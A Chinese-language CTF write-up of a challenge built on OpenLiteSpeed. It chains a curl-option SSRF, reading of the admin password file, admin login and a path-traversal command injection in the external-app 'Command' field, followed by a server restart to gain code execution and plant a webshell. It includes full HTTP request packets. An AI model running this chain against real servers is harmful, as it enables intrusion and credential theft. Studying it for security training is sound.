比赛时没有头绪,赛后经过查找资料进行了复现。现把复现过程记录下来。
题目回顾
- 比赛提供的容器中使用了开源的openlitespeed web中间件。
- 容器中提供了curl.so文件。
- 根据php代码提示,是个curl 引发的SSRF相关漏洞。
题目Docker附件如下:
openlitespeed_8ed1327d6e588f5625dd8729c7a00269.zip
SO文件有问题 ?
根据index.php的内容,curl_init()、curl_exec()判断入口点应该是SSRF类的漏洞。
也怀疑是curl.so文件可能会有命令执行类的后门。
经过使用IDA Pro、Ghidra等工具进行分析,发现没有异常,是个正常的so文件。
openlitespeed特性?
因为在curl.so文件中未发现问题,着重点放在了openlitespeed中间件上,因为一般的CTF WEB环境会用nginx、apache这些,这次用了openlitespeed,感觉openlitespeed有猫腻。
根据openlitespeed官网
的简绍,性能比nginx、apache还好。
根据官网doc 的介绍,
openlitespeed安装后除了正常的web服务接口,还开放了用来管理的7080端口。
问题就出在这个
7080管理端口上。
进行SSRF读取文件
根据index.php中的代码,只要传入CURLOPT_URLurl地址,即可进行SSRF。 这里如果直接传入curl_opt[CURLOPT_URL]代码就会把CURLOPT_URL解析成字符串。无法进行读取文件。
把上述代码放到
PhpStorm中,CURLOPT_URL被定义成10002int类型。
也可以查看
CURLOPT_URL的实现,在C:\Users\xxx\PhpStorm-2022.2.2.win\plugins\php\lib\php.jar!\stubs\curl\curl_d.php中实现:
此时,我们可以传入curl_opt[10002]来替代curl_opt[CURLOPT_URL],可以成功进行读取文件:
获取openlitespeed管理密码
前面根据官网的手册,可以确定openlitespeed管理端口为7080端口,还是https类型的。默认的管理用户和密码是随机生成的,保存在/usr/local/lsws/adminpasswd中。
这里可以结合SSRF读取该文件的内容。结果如下:
获取到用户名和密码为:
admin/OTc1MmM4,后面的1是php 请求curl造成的,可以忽略。
确认openlitespeed管理端口
默认的管理端口为7080,根据回显的结果进行判断(端口存在返回1,端口不存在不返回任何信息): 端口不存在情况:
端口存在情况:
由此可以确认openlitespeed的管理端口是默认的7080,没有改。
直接请求https://localhost:7080网站没有返回任何信息,这里是因为管理端口使用了自签的https证书。使用curl要进行忽略ssl验证。要使用CURLOPT_SSL_VERIFYPEER和CURLOPT_SSL_VERIFYHOST参数,他俩的定义如下:
define('CURLOPT_SSL_VERIFYPEER', 64);
define('CURLOPT_SSL_VERIFYHOST', 81);
只要传入curl_opt[64]=false&curl_opt[81]=false&curl_opt[10002]=https://localhost:7080/login.php即可看到回显内容。
进行登录的话,因为需要传递cookies,使用curl会比较麻烦,可以使用Gopher协议进行post登录。
利用openlitespeed进行getshell
先在本地的Docker中映射下7080端口进行调试。
登录
登录post数据包如下:
POST /login.php HTTP/2
Host: 192.168.0.5:7080
Cookie: LSUI37FE0C43B84483E0=d5bb75a40105f0050637fccd01fc3b59; litespeed_admin_lang=english
Content-Length: 26
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://192.168.0.5:7080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.0.5:7080/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
userid=admin&pass=OTc1MmM4
成功登录到后台:
版本为OpenLiteSpeed 1.7.16
命令注入
根据网上搜索到的exploit-db Openlitespeed WebServer 1.7.8 - Command Injection
发现其1.7.8版本存在命令注入漏洞。
漏洞点在https://xxxx:7080/index.php#view/confMgr.php?m=serv&p=ext中
点击编辑,在
Command中就是本次的漏洞点了。
这里的内容有点限制,像'、<等这些特殊符号都是禁止的,而且限制了/usr/local/lsws/这个路径下。不慌,这里可以用../进行跳级。 这里我用touch命令创建个文件进行演示,这里要填../../bin/touch /tmp/maskefd。
请求的post数据包如下:
POST /view/confMgr.php HTTP/2
Host: 192.168.0.5:7080
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D
Content-Length: 506
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: text/html, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.0.5:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.5:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock¬e=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=0&autoStart=2&path=%2e%2e%2f%2e%2e%2fbin%2ftouch%20%2ftmp%2fmaskefd&backlog=100&instances=1&extUser=&extGroup=&umask=&runOnStartUp=&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.73205300+1664442315
重启应用
页面左上角有个下拉选项,选择restart LiteSpeed
相应的post数据包如下:
POST /view/serviceMgr.php HTTP/2
Host: 192.168.0.5:7080
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=692d05e4e28ca4f1d4c460f5ee9e4cff; LSID37FE0C43B84483E0=lYbu6G3p%2BI4%3D; LSPA37FE0C43B84483E0=lHU5AAYgVU4%3D
Content-Length: 11
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.0.5:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.0.5:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
act=restart
触发RCE
提交完成后随意访问80端口的phpinfo.php文件,/tmp目录下生成了相应的文件。
相应的,可以通过写一句话马到
/usr/local/lsws/Example/html/目录下。写入后需要恢复配置项的
Command内容为lsphp74/bin/lsphp,然后再重启一次才行,否则会导致80端口访问不了(相应服务起不来,php解析不了)。
总结
这道题目考察了SSRF和Openlitespeed等Features,虽然难度较为简单,但还是比较耗费时间的。